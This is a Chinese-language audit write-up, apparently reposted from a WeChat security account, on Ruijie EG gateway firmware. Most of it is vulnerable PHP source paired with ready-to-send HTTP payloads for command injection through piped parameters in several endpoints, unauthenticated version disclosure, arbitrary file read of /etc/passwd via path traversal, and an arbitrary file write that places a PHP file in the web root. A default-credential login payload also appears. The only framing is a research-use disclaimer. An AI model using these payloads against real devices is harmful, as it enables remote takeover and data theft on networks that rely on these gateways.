0x00 前言
本次审计对锐捷系列进行剖析,解构其中危险函数以及架构.
后台RCE可配合账密泄露组合拳. Payload:
POST /login.php HTTP/1.1
username=admin&password=admin?show+webmaster+user
// 获取url请求参数
function v($str) {
return isset($_REQUEST[$str]) ? $_REQUEST[$str] : false;
}
// 获取post参数
function p($str) {
return isset($_POST[$str]) ? $_POST[$str] : false;
}
function z($str) {
return strip_tags($str);
}
//获取全局配置变量
function c($str) {
return isset($GLOBALS['config'][$str]) ? $GLOBALS['config'][$str] : false;
}
//获取全局变量
function g($str) {
return isset($GLOBALS[$str]) ? $GLOBALS[$str] : false;
}
function t($str) {
return trim($str);
}
function u($str) {
return urlencode($str);
}
0x01 远程命令执行漏洞
根据命令执行规则追踪到几处危险函数:
追踪evpnShell函数:
function evpnShell($shell) {
$content = [];
$cli = exec($shell, $content, $ret);//传入的参数造成任意命令执行
if ($ret != 0) {
json_echo(FALSE);
return;
}
$res = execCli("exec", $cli);
if ($res["status"] != 1) {
json_echo(FALSE);
return;
}
if (isset($res["data"][0]) && strpos($res["data"][0], "failed")) {
json_echo(FALSE);
return;
}
json_echo(true);
}
漏洞点一:
/itbox_pi/networksafe.php 这里POST传入了bandwidth参数 然后带入下面的 evpnshell()函数去执行.
Payload:
POST /itbox_pi/networksafe.php?a=set HTTP/1.1
bandwidth=|id >nice.txt
漏洞点二:
/itbox_pi/vpn_quickset_service.php 一样的结构 POST传入ip参数即可 不多说.
public function set_vpnAction() {
$ip = p("ip");
$port = p("port");
$user = p("user");
$pass = p("pass");
$routes = p("routes");
$dns = "'" . p("dns") . "'";
$startIp = p("startIp");
$endIp = p("endIp");
$mask = p("mask");
$new_wlan_intf = p("new_wlan_intf");
$old_wlan_intf = p("old_wlan_intf");
$manual = p("manual");
$command = "/usr/local/evpn/server/cfg_vpn.sh " . $ip . " " . $port . " " . $user . " " . $pass . " " . $dns . " " . $startIp;
if( $routes != false){
for ($i= 0; $i < count($routes); $i++){
$command .= " " . $routes[$i];
}
}else{
$command .= " ''";
}
$cli = "aaa new-modelrn";
$cli .= "aaa authentication ppp default subsrn";
$cli .= "no interface loopback 1rnno interface virtual-template 2 rnno ip local pool l2tppoolrn";
$cli .= "ip local pool l2tppool " . $startIp . " " . $endIp . "rn";
$cli .= "subscriber static name vpn_euser_ parent /Vpn_Group password 0 " . $pass . "rn";
$cli .= "subscriber allow vpn_euser_ privilege vpnrn";
$cli .= "subscriber set vpn_euser_ attribute vpn-branchrn";
$cli .= "vpdn enablern";
$cli .= "interface Loopback 1rn";
$cli .= "ip address " . $startIp . " " . $mask . "rnexitrn";
$cli .= "interface Virtual-Template 2rn";
$cli .= "ip tcp adjust-mss 1368rn";
$cli .= "ip mtu 1408rn";
$cli .= "ip unnumbered Loopback 1rn";
$cli .= "peer default ip address pool l2tppoolrn";
$cli .= "ppp authentication pap chaprn";
$cli .= "ip nat insidernexitrn";
$cli .= "vpdn-group l2tprn";
$cli .= "accept-dialinrn";
$cli .= "protocol l2tprn";
$cli .= "virtual-template 2rn";
$cli .= "exitrn";
$cli .= "l2tp tunnel force_ipsecrn";
$cli .= "exitrn";
if($manual !== false){
$cli .= "no evpn-server authrn";
$cli .= "evpn-server auth code " . $pass . ( $manual === "true" ? " manual" : "" )."rn";
}else{
$cli .= "evpn-server auth code " . $pass ."rn";
}
$cli .= "crypto isakmp mode-detectrn";
$cli .= "crypto isakmp policy 11rn";
$cli .= "encryption 3desrn";
$cli .= "authentication pre-sharern";
$cli .= "exitrn";
$cli .= "crypto isakmp policy 12rn";
$cli .= " authentication pre-sharern";
$cli .= "exitrn";
$cli .= "crypto isakmp policy 13rn";
$cli .= "encryption 3desrn";
$cli .= "authentication pre-sharern";
$cli .= "group 2rn";
$cli .= "exitrn";
$cli .= "crypto isakmp policy 14rn";
$cli .= "authentication pre-sharern";
$cli .= "hash md5rn";
$cli .= "exitrn";
$cli .= "crypto isakmp policy 15rn";
$cli .= "authentication pre-sharern";
$cli .= "exitrn";
$cli .= "crypto isakmp keepalive 30rn";
$cli .= "crypto isakmp key 0 " . $pass . " address 0.0.0.0 0.0.0.0rn";
$cli .= "crypto ipsec transform-set vpdnSet esp-aes-256 esp-md5-hmacrn";
$cli .= "mode transportrn";
$cli .= "exitrn";
$cli .= "crypto dynamic-map dymymap 6rn";
$cli .= "set security-association lifetime seconds 3600rn";
$cli .= "set transform-set vpdnSetrn";
$cli .= "exitrn";
if($old_wlan_intf != false){
$cli .= "interface " . $old_wlan_intf . "rn";
$cli .= "no crypto map " . $old_wlan_intf . "rn";
$cli .= "exitrn";
$cli .= "no crypto map " . $old_wlan_intf . "rn";
}
$cli .= "crypto map " . $new_wlan_intf . " 100 ipsec-isakmp dynamic dymymaprn";
$cli .= "interface " . $new_wlan_intf . "rn";
$cli .= "crypto map " . $new_wlan_intf . "rn";
$cli .= "exitrn";
$cli .= "evpn-server outside-ip " . $ip . " web-port " . $port . "rn";
$cli .= "endrn";
$cli .= "writern";
$res = execCli("config", $cli);
if ($res["status"] != 1) {
json_echo(FALSE);
}
if (isset($res["data"][0]) && strpos($res["data"][0], "failed")) {
json_echo(FALSE);
}
evpnShell($command);
}
}
Payload:
POST /itbox_pi/vpn_quickset_service.php?a=set_vpn HTTP/1.1
ip=|cat /etc/passwd >1.txt|
漏洞点三:
/itbox_pi/branch_import.php 追踪到一处反引号命令执行.
function branch_listAction(){
$province = p("province");
$city = p("city");
$district = p("district");
$shell = "/usr/local/evpn/server/sh_client-info.sh";
if($province !== FALSE && $province != ""){
$shell .= " province ".iconv("UTF-8", "GB2312//IGNORE", $province);
}
if($city !== FALSE && $city != ""){
$shell .= " city ".iconv("UTF-8", "GB2312//IGNORE", $city);
}
if($district !== FALSE && $district != ""){
$shell .= " district ".iconv("UTF-8", "GB2312//IGNORE", $district);
}
header("Content-type: text/html;charset=gbk");
header("Cache-Control: no-cache, must-revalidate");
header("Pragma: no-cache");
echo `$shell`;
}
}
这次有回显 Payload:
POST /itbox_pi/branch_import.php?a=branch_list HTTP/1.1
province=|cat /etc/passwd
漏洞点四:
/itbox_pi/wifi.php
public function branch_wifiAction(){
$province = p("province");
$city = p("city");
$district = p("district");
$shell = "/usr/local/evpn/server/sh_clients_wifi.sh";
if($province !== FALSE && $province != ""){
$shell .= " province ".iconv("UTF-8", "GB2312//IGNORE", $province);
}
if($city !== FALSE && $city != ""){
$shell .= " city ".iconv("UTF-8", "GB2312//IGNORE", $city);
}
if($district !== FALSE && $district != ""){
$shell .= " district ".iconv("UTF-8", "GB2312//IGNORE", $district);
}
header("Content-type: text/html;charset=gbk");
header("Cache-Control: no-cache, must-revalidate");
header("Pragma: no-cache");
echo `$shell`;
}
Payload:
POST /itbox_pi/wifi.php?a=branch_wifi HTTP/1.1
province=|ls
0x02 前台信息泄露漏洞
/Login.php 存在execCli执行获取信息的命令 可未授权获取设备信息
function versionAction() {
$info = $version = execCli("exec", "show version detail", "");
$info["data"] = preg_split("/r*n/", $info["data"]);
json_echo($info);
}
Payload:
GET /login.php?a=version HTTP/1.1
Host: x.x.x.x
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
0x03 任意文件读取漏洞
追踪到一处任意文件读取. /system_pi/timeout.php
function getFileAction(){
$fileName = p("fileName");
$config = @file_get_contents(DS . "data" . DS . $fileName); //获取web配置信息
$config = iconv('GBK//IGNORE', 'UTF-8', $config);
if ($config == false) {
$config = '';
}
json_echo($config);
}
传入fileName参数即可读取文件 Payload:
POST /system_pi/timeout.php?a=getFile HTTP/1.1
fileName=../etc/passwd
0x04 任意文件写入漏洞
追踪到一处file_put_contents()写入文件函数. /vwan_pi/export.php
public function indexAction() {
$content = p("content");
$filename = p("filename");
if ($filename === FALSE) {
json_echo(FALSE);
die();
}
$filename = iconv("UTF-8", "GB2312", $filename);
`mkdir -p /tmp/webexport/vwan`;
$file = "/tmp/webexport/vwan/" . $filename;
$res = file_put_contents($file, $content);
json_echo($res !== FALSE);
}
Payload:
POST /vwan_pi/export.php HTTP/1.1
content= phpinfo(); &filename=../../html/oo.php
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!
原文始发于微信公众号(星悦安全):锐捷-EG易网关设备审计
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论